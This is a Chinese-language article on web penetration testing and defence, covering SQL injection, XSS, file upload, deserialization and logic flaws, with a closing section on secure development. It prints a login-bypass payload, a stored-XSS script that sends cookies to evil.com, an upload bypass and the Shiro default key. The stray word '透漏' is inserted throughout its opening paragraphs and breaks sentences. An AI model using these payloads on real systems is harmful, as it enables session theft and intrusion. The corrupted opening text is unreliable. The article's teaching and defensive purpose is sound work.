|
去年某地级市的透漏三甲医院内网被拖走4TB数据,攻击者入口不是透漏VPN,不是透漏0day,而是透漏一台前台挂号机上的Struts2漏洞。这台机器三年没打过补丁,透漏暴露在内外网交界处,透漏运维觉得“内网没人看”。透漏结果呢?透漏攻击者用S2-045直接弹shell,横向到数据库服务器用了不到四十分钟。透漏这事说明一个事实:Web渗透的透漏突破口往往不在防火墙正面,而在那些被遗忘的透漏角落。 Web渗透的透漏本质是找输入输出之间的信任裂缝。你给服务器一个参数,透漏服务器以为你是透漏好人,拿它拼SQL、透漏拼命令、拼文件路径,裂缝就出来了。SQL注入是最经典的例子。前阵子帮朋友看一个电商后台,登录框输入' or 1=1--直接进管理员面板。开发用字符串拼接写查询,连预编译都没做。这种漏洞在2024年还大量存在,不是技术难防,是开发图省事。 XSS的路子不一样。它不直接打服务器,打的是其他用户。存储型XSS最阴——你往评论区塞一段<script>new Image().src='http://evil.com?c='+document.cookie</script>,任何看这条评论的人,cookie就送到攻击者服务器。后台管理员一看评论,会话直接被盗。有人觉得HttpOnly能防,但XSS能干的远不止偷cookie:键盘记录、页面篡改、钓鱼表单注入,全在浏览器里完成。 文件上传漏洞更直接。某次渗透测试,目标站点上传头像只检查Content-Type,改成image/jpeg就能传.php文件。上传后路径是/uploads/xxx.php,直接访问,getshell。修复方式也简单:白名单后缀、重命名文件、上传目录禁解析。但很多CMS到现在还在用黑名单,传个.phtml就绕过去了。 命令执行和代码执行是渗透里的核武器。PHP的system($_GET['cmd'])这种写法现在少了,但框架层面的反序列化漏洞一抓一大把。Java的ysoserial工具链、PHP的phpggc,都是把序列化数据变成命令执行的利器。Shiro-550那个反序列化漏洞,默认密钥kPH+bIxk5D2deZiIxcaaaA==,网上工具一键利用。很多公司用了Shiro但没换密钥,等于门没锁。 逻辑漏洞容易被忽视,但危害不小。改个价格参数,一块钱买iPhone;遍历订单ID,看到别人的收货地址;短信验证码不设频率限制,爆破六位数字。这些漏洞扫描器扫不出来,得靠手工测。我见过一个支付接口,把amount=100改成amount=0.01,服务端不校验,直接按客户端传的金额扣款。开发觉得前端已经限制了,后端就不用管——这种思维是逻辑漏洞的温床。 渗透测试不是拿工具扫一遍就完事。AWVS、Burp Suite、sqlmap能覆盖六成常见问题,剩下的四成靠经验。比如看到?url=参数,先试SSRF;看到?file=,试文件包含;看到JSON请求体,试反序列化。工具报的漏洞要手工验证,误报率不低。一个“SQL注入”告警,可能只是参数类型不匹配导致的500错误。 防守方要做的不是堆WAF。WAF能挡脚本小子,挡不住手工绕过。编码、分块传输、注释混淆,方法多的是。真正有效的是SDL:需求阶段做威胁建模,开发阶段用安全编码规范,测试阶段做DAST+SAST,上线后定期渗透。某互联网公司把安全卡点嵌入CI/CD,代码提交时自动跑SonarQube和依赖检查,漏洞修复成本从上线后的几千块降到开发时的几十块。 Web渗透与漏洞这事,说到底是一场成本博弈。攻击者找最便宜的入口,防守者堵最贵的洞。那台医院挂号机被攻破,不是因为攻击者多厉害,是因为防守方觉得“不重要”。安全里没有不重要的资产,只有还没被盯上的资产。 |